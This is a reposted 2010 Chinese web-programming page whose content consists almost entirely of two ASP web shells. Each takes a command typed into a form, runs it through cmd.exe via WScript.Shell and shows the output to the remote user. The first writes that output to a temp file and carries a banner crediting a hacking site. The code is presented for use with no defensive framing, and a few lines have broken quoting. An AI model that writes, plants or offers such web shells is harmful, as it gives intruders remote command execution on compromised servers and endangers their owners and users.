日期:2010-09-25 11:49:00 来源:本站整理
免FSO的带回显功效cmd履行代码[网站编程]
本文“免FSO的带回显功效cmd履行代码[网站编程]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
- <%
- Dim oScript
- Dim szCMD, szTempFile ,del
- Set oScript = Server.CreateObject("WSCRIPT.SHELL")
- szCMD = Request.Form(".CMD")
- del=Request.Form("del")
- If (szCMD <> " " ) Then
- szTempFile = "d:"&"l"&year(date)&".txt"
- Call oScript.Run ("cmd.exe /c echo NO FSO ASPMM V0.0 by www.icehack.com>" & szTempFile, 0, True)
- Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
- End If
- If (del = "DELtempfile") Then
- Call oScript.Run( "cmd.exe /c del "&szTempFile,0,True)
- end if
- %>
- <FORM method="POST">
- <input type=text name=".CMD" size=45 >
- <input type=submit value="Run"> <input type=submit value="DELtempfile" name=del>
- <%
- Response.Write "<Iframe src=’d:\l"&year(date)&".txt’ width=99% height=99%
- frameborder=0></iframe>" %>
- set oScrip=Nothing
- %>
- </form>
更简单的
- <form method="post">
- <input type=text name="cmd" size=60>
- <input type=submit value="run"></form>
- <textarea readonly cols=80 rows=20>
- <%response.write server.createobject("wscript.shell").exec("cmd.exe /c
- "&request.form("cmd")).stdout.readall%>
- </textarea>
以上是“免FSO的带回显功效cmd履行代码[网站编程]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |
评论内容只代表网友观点,与本站立场无关!
评论摘要(共 0 条,得分 0 分,平均 0 分)
查看完整评论